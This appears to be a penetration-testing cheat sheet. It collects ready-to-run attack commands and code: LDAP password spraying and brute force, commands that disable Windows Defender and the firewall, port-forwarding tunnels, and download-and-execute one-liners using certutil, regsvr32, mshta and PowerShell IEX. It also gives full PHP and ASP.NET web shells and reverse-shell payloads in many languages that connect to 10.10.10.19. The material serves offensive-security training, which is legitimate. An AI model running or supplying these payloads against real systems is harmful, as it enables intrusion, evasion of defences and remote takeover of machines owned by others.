
### Bruteforce on LDAP

```bash
#Password spray (https://github.com/dafthack/DomainPasswordSpray)
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

#Kerbrute (https://github.com/ropnop/kerbrute)
./kerbrute_linux_amd64 bruteuser -d evil.corp --dc 10.10.10.19 rockyou.txt Administrator #Password brute
./kerbrute_linux_amd64 userenum -d evil.corp --dc 10.10.10.19 users.txt #Username brute
./kerbrute_linux_amd64 passwordspray -d evil.corp --dc 10.10.10.19 users.txt rockyou.txt #Password spray
```

### ldapsearch

```bash
#Add one of the following options depending on what you want to do
ldapsearch -x -h 10.10.10.19 -D 'dev.corp\Administrator' -w 'Pass123' <OPTION>

#Extract Users
-b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract Computers
-b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract My info
-b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract Domain Admins
-b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract Domain Users
-b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract Enterprise Admins
-b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract Administrators
-b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
#Extract Remote Desktop Group
-b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"
```


# Bypasses

### Windows Defender

```csharp
#CMD
sc config WinDefend start= disabled
sc stop WinDefend

#Powershell
Set-MpPreference -DisableRealtimeMonitoring $true

#Remove definitions
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

### Firewall

```csharp
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
```

### IP Whitelisting

```csharp
New-NetFirewallRule -Name hax0r -DisplayName hax0r -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress 10.10.10.19
```


# Network

### Plink Port Forwarding

```csharp
#10.10.10.19 == kali_IP. 8888 == Port to redirect.
.\plink.exe -l root -pw toor 10.10.10.19 -N -R 8888:127.0.0.1:8888
```

{% embed url="<https://the.earth.li/~sgtatham/putty/latest/w32/plink.exe>" %}
Plink - Windows 32bits download
{% endembed %}

### Chisel TCP tunnel over HTTP

```csharp
#Download chisel for victim machine version
#10.10.10.19 == kali_IP. 4506 == Port to redirect.
.\chisel client 10.10.10.19:10000 R:4506:127.0.0.1:4506 //In Victim Machine
.\chisel server -p 10000 --reverse //In Kali Machine
```

{% embed url="<https://github.com/jpillora/chisel/releases>" %}
Chisel - Releases
{% endembed %}

### Scan ports from Powershell

```csharp
function Test-Port {
$computer=Read-Host "[*] IP Address:"
$port=Read-Host "[*] Port Numbers (separate them by comma):"
$port.split(',') | Foreach-Object -Process {If (($a=Test-NetConnection $computer -Port $_ -WarningAction SilentlyContinue).tcpTestSucceeded -eq $true) {Write-Host $a.Computername $a.RemotePort -ForegroundColor Green -Separator " ==> "} else {Write-Host $a.Computername $a.RemotePort -Separator " ==> " -ForegroundColor Red}}
}
```


# Exfiltration

### Download files from CMD/powershell

```csharp
#Curl
curl http://10.10.10.19:8000/file.exe --output file.exe

#CertUtil
certutil.exe -urlcache -f http://10.10.10.19/file.exe file.exe

#Wget
Invoke-WebRequest -Uri "http://10.10.10.19" -OutFile "C:\path\file"

#Powershell
powershell -c (New-Object Net.WebClient).DownloadFile('http://10.10.10.19/file', 'output-file')

#Bitsadmin
bitsadmin /transfer n http://10.10.10.19/imag/evil.txt d:\test\1.txt

#Wmic
wmic os get /FORMAT:"http://10.10.10.19/evil.xsl"

#Windows Defender
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -url http://10.10.10.19/mimikatz.zip -path .\\mimikatz.zip
```

### Execute code without download files locally

```cpp
#Powershell
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.10.19/evil.txt'))"

#Rundll
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://10.10.10.19:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

#Regsrv32
regsvr32.exe /u /n /s /i:http://10.10.10.19:8888/file.sct scrobj.dll

#Msiexec
msiexec /q /i http://10.10.10.19/evil.msi

#Mshta
mshta http://10.10.10.19/run.hta
```

### Data Exfiltration

```csharp
#CertUtil
certutil -encode file outputfile.b64 //ENCODE file in base64
certutil -decode file.b64 outputfile //DECODE file in base64
```

### Zip/Unzip files

```csharp
#Powershell
Compress-Archive in.txt out.zip //zip
Expand-Archive out.zip //unzip
```


# Misc

### Python shell beautifier

```python
python -c 'import pty; pty.spawn("/bin/bash")'
```

### Upgrade Full TTY - PTY Module

```bash
$ python -c 'import pty; pty.spawn("/bin/bash")'
user@remote:$ ^Z #(background)

root@kali:$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/' #(get ROWS and COLS)
root@kali:$ stty raw -echo; fg

user@remote:$ reset
user@remote:$ stty rows ${ROWS} cols ${COLS}
user@remote:$ export TERM=xterm #(or xterm-color or xterm-256color)
```


# Web Shells

### Simple bash script to handle basic webshell

```bash
#Save next onliner as cli.sh
while true;do read -p "[>] :~$ " cmd;curl $1$cmd;done

#Usage: ./cli.sh http://target.com/path/to/shell.php?0=
```

### PHP - Basic

```bash
#Simple Webshell - system
<?php echo system($_GET["cmd"]); ?>

#Simple Webshell - passthru
<?php echo passthru($_GET['cmd']); ?>

#Tiny Webshell
<?=`$_GET[0]`?>
```

### PHP - pentestmonkey php revshell

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS <-----
$port = 1234;       // CHANGE THIS <-----
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}


	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 
```

### ASP.NET

```aspnet
<%@ Language = "JScript" %>
<%
/*
    ASPShell - web based shell for Microsoft IIS
    Copyright (C) 2007  Kurt Hanner

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    http://aspshell.sourceforge.net
*/
  var version = "0.2 (beta) [2007-09-29]";
  var homepagelink = "http://aspshell.sourceforge.net";

  var q = Request("q")();
  var cd = Request("cd")();
  if (q)
  {
    var command = "";
    var output = "";
    if (q.length == 0)
    {
      q = ":";
    }
    command = "" + q;
    if (command == "?")
    {
      output = "    ?                    this help page\n" +
               "    :sv                  all server variables\n" +
               "    <shell command>      execute any shell command\n";
    }
    else if (command.toLowerCase() == ":sv")
    {
      var sv = "";
      var svvalue = "";
      var esv = new Enumerator(Request.ServerVariables);
      for (; !esv.atEnd(); esv.moveNext())
      {
        sv = esv.item();
        output += sv;
        output += ": ";
        svvalue = "" + Request.ServerVariables(sv);
        if (svvalue.indexOf("\n") >= 0)
        {
          output += "\n";
          var svitems = svvalue.split("\n");
          for (var i=0; i<svitems.length; i++)
          {
            if (svitems[i].length > 0)
            {
              output += "    ";
              output += svitems[i];
              output += "\n";
            }
          }
        }
        else
        {
          output += svvalue;
          output += "\n";
        }
      }
    }
    else if (command.toLowerCase() == ":cd")
    {
      var fso = new ActiveXObject("Scripting.FileSystemObject");
      output = fso.GetAbsolutePathName(".");
    }
    else if (/^:checkdir\s(.*)?$/i.test(command))
    {
      var newdirabs = "";
      var newdir = RegExp.$1;
      var fso = new ActiveXObject("Scripting.FileSystemObject");
      var cdnorm = fso.GetFolder(cd).Path;
      if (/^\\/i.test(newdir)) 
      {
        newdirabs = fso.GetFolder(cd).Drive + newdir;
      }
      else if (/^\w:/i.test(newdir))
      {
        newdirabs = fso.GetAbsolutePathName(newdir);
      }
      else
      {
        newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\\" + newdir);
      }
      output = fso.FolderExists(newdirabs) ? newdirabs : "fail";
    }
    else
    {
      var changedir = "";
      var currdrive = "";
      var currpath = "";
      var colonpos = cd.indexOf(":");
      if (colonpos >= 0) {
        currdrive = cd.substr(0, colonpos+1);
        currpath = cd.substr(colonpos+1);
        changedir = currdrive + " && cd \"" + currpath + "\" && ";
      }
      var shell = new ActiveXObject("WScript.Shell");
      var pipe = shell.Exec("%comspec% /c \"" + changedir + command + "\"");
      output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll();
    }
    Response.Write(output);
  }
  else
  {
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    var currentpath = fso.GetAbsolutePathName(".");
    var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath));
    var drivepath = currentdrive.Path;
%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<style><!--
  body {
    background: #000000;
    color: #CCCCCC;
    font-family: courier new;
    font-size: 10pt
  }
  input {
    background: #000000;
    color: #CCCCCC;
    border: none;
    font-family: courier new;
    font-size: 10pt;
  }
--></style>

<script language="JavaScript"><!--

  var history = new Array();
  var historypos = 0;
  var currentdirectory = "";
  var checkdirectory = "";

  function ajax(url, vars, callbackFunction)
  {
    var request = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("MSXML2.XMLHTTP.3.0");
    request.open("POST", url, true);
    request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
    request.onreadystatechange = function()
    {
      if (request.readyState == 4 && request.status == 200)
      {
        if (request.responseText)
        {
          callbackFunction(request.responseText);
        }
      }
    }
    request.send(vars);
  }

  function FormatOutput(txt)
  {
    return txt.replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/\x20/g, "&nbsp;").replace(/\t/g, "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;").replace(/\n/g, "<br/>");
  }

  function KeyDownEventHandler(ev)
  {
    document.all("q").focus();
    if (!ev)
    {
      ev = window.event;
    }
    if (ev.which)
    {
      keycode = ev.which;
    }
    else if (ev.keyCode)
    {
      keycode = ev.keyCode;
    }
    if (keycode == 13)
    {
      var cmd = document.all("q").value;
      outputAvailable("[" + currentdirectory + "] " + cmd);
      if (/cd\s+(\"?)(.*)?\1\s*$/i.test(cmd))
      {
        checkdirectory = RegExp.$2;
        ajax(document.URL, "q=" + encodeURIComponent(":checkdir " + RegExp.$2) + "&cd=" + encodeURIComponent(currentdirectory), checkdirAvailable);
        history[history.length] = cmd;
        historypos = history.length;
      }
      else if (cmd.length > 0)
      {
        ajax(document.URL, "q=" + encodeURIComponent(cmd) + "&cd=" + encodeURIComponent(currentdirectory), outputAvailable);
        history[history.length] = cmd;
        historypos = history.length;
      }
    }
    else if (keycode == 38 && historypos > 0)
    {
      historypos--;
      document.all("q").value = history[historypos];
    }
    else if (keycode == 40 && historypos < history.length)
    {
      historypos++;
      if (historypos == history.length)
      {
        document.all("q").value = "";
      }
      else {
        document.all("q").value = history[historypos];
      }
    }
  }

  function outputAvailable(output)
  {
    var newelem = document.createElement("DIV");
    newelem.innerHTML = FormatOutput(output);
    document.all("output").appendChild(newelem);
    var oldYPos = 0, newYPos = 0;
    var scroll = true;
    do
    {
      if (document.all)
      {
        oldYPos = document.body.scrollTop;
      }
      else
      {
        oldYPos = window.pageYOffset;
      }
      window.scrollBy(0, 100);
      if (document.all)
      {
        newYPos = document.body.scrollTop;
      }
      else
      {
        newYPos = window.pageYOffset;
      }
    } while (oldYPos < newYPos);
    document.all("q").value = "";
  }

  function checkdirAvailable(output)
  {
    if (output.toLowerCase() == "fail")
    {
      outputAvailable("The system cannot find the path specified.");
    }
    else {
      SetCurrentDirectory(output);
    }
  }

  function SetCurrentDirectory(output)
  {
    currentdirectory = output;
    document.all("prompt").innerHTML = "[" + output + "]";
  }

  function GetCurrentDirectory()
  {
    ajax(document.URL, "q=" + encodeURIComponent(":cd"), SetCurrentDirectory);
  }

  function InitPage()
  {
    document.all("q").focus();
    document.onkeydown = KeyDownEventHandler;
    GetCurrentDirectory();
  }
//--></script>

<title id=titletext>Web Shell</title>
</head>

<body onload="InitPage()">

<div id="output">
  <div id="greeting">
    ASPShell - Web-based Shell Environment Version <%=version%><br/>
    Copyright (c) 2007 Kurt Hanner, <a href="<%=homepagelink%>"><%=homepagelink%></a><br/><br/>
  </div>
</div>

<label id="prompt">[undefined]</label>
<input type="text" name="q" maxlength=1024 size=72>

</body>
</html>
<%
  }
%>
```

### b347k (PHP) webshell

{% embed url="<https://github.com/b374k/b374k>" %}


# Reverse Shells

### AWK <a href="#awk" id="awk"></a>

```bash
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.19/7878"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

### Bash <a href="#bash" id="bash"></a>

```bash
#-i
bash -c >& /dev/tcp/10.10.10.19/7878 0>&1

#196
0<&196;exec 196<>/dev/tcp/10.10.10.19/7878; sh <&196 >&196 2>&196

#readline
exec 5<>/dev/tcp/10.10.10.19/7878;cat <&5 | while read line; do $line 2>&5 >&5; done

#5
sh -i 5<> /dev/tcp/10.10.10.19/7878 0<&5 1>&5 2>&5

#udp
sh -i >& /dev/udp/10.10.10.19/7878 0>&1
```

### C

#### Linux

```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 7878;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.10.19");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("sh", argv, NULL);

    return 0;       
}
```

#### Windows

```c
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax; 
char ip_addr[16] = "10.10.10.19"; 
char port[6] = "7878";            

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int main()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);


    struct hostent *host; 
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);

    return 0;
}
```

### C# <a href="#ruby" id="ruby"></a>

```csharp
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient("10.10.10.19", 7878))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}
```

### Dart

```dart
import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.10.10.19", 7878).then((socket) {
    socket.listen((data) {
      Process.start('sh', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}
```

### Golang <a href="#ruby" id="ruby"></a>

```go
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.19:7878");cmd:=exec.Command("sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

### Groovy <a href="#java" id="java"></a>

```groovy
String host="10.10.10.19";int port=7878;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

### Haskell <a href="#java" id="java"></a>

```haskell
module Main where

import System.Process

main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc 10.10.10.19 7878 >/tmp/f"
```

### Java <a href="#java" id="java"></a>

#### Basic

```java
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.19/7878 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

#### ProcessBuilder

```java
public class shell {
    public static void main(String[] args) {
        ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/10.10.10.19/7878 0>&1")
            .redirectErrorStream(true);
        try {
            Process p = pb.start();
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

#### Longest

```
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class shell {
    public static void main(String[] args) {
        String host = "10.10.10.19";
        int port = 7878;
        String cmd = "sh";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }
}
```

### Lua

```lua
--1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.19','7878');os.execute('sh -i <&3 >&3 2>&3');"

--2
lua5.1 -e 'local host, port = "10.10.10.19", 7878 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

### Netcat <a href="#netcat" id="netcat"></a>

#### Linux <a href="#linux" id="linux"></a>

```bash
#basic
nc -e /bin/sh 10.10.10.19 7878

​#pipe
nc 10.10.10.19 7878 | /bin/sh

​#mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.19 7878 >/tmp/f
```

#### Windows <a href="#windows" id="windows"></a>

```scheme
nc.exe -e cmd.exe 10.10.10.19 7878
```

### Ncat <a href="#netcat" id="netcat"></a>

#### Linux <a href="#linux" id="linux"></a>

```bash
#basic
ncat 10.10.10.19 7878 -e sh

#udp
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 10.10.10.19 7878 >/tmp/f
```

#### Windows <a href="#windows" id="windows"></a>

```scheme
ncat.exe 10.10.10.19 7878 -e sh
```

### NodeJS <a href="#nodejs" id="nodejs"></a>

```javascript
require('child_process').exec('nc -e sh 10.10.10.19 7878')
```

### Perl <a href="#perl" id="perl"></a>

```bash
#basic
perl -e 'use Socket;$i="10.10.10.19";$p=7878;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'​

#no sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.19:7878");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

### PHP <a href="#php" id="php"></a>

```bash
#inside PHP file
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.19/7878 0>&1'"); ?>​

#exec
php -r '$sock=fsockopen("10.10.10.19",7878);exec("/bin/sh -i <&3 >&3 2>&3");'

#shellexec
php -r '$sock=fsockopen("10.10.10.19",7878);shell_exec("sh <&3 >&3 2>&3");'

#system
php -r '$sock=fsockopen("10.10.10.19",7878);system("sh <&3 >&3 2>&3");'

#passthru
php -r '$sock=fsockopen("10.10.10.19",7878);passthru("sh <&3 >&3 2>&3");'

#`
php -r '$sock=fsockopen("10.10.10.19",7878);`sh <&3 >&3 2>&3`;'

#popen
php -r '$sock=fsockopen("10.10.10.19",7878);popen("sh <&3 >&3 2>&3", "r");'

#proc_open
php -r '$sock=fsockopen("10.10.10.19",7878);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
```

### Powershell <a href="#powershell" id="powershell"></a>

```powershell
#1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.19",7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

#2
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.19',7878);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

#3
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.19', 7878);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

#tls
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.19', 7878);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
```

### Python <a href="#python" id="python"></a>

```bash
#1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.19",7878));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'​

#2
export RHOST="10.10.10.19";export RPORT=7878;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

#short
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.19",7878));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
```

### Ruby <a href="#ruby" id="ruby"></a>

```bash
#1
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.10.19",7878))'

#2
ruby -rsocket -e'f=TCPSocket.open("10.10.10.19",7878).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

​#no sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.19","7878");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

### Socat <a href="#socat" id="socat"></a>

```bash
#basic
socat TCP:10.10.10.19:7878 EXEC:sh

#tty
socat TCP:10.10.10.19:7878 EXEC:'sh',pty,stderr,setsid,sigint,sane
```

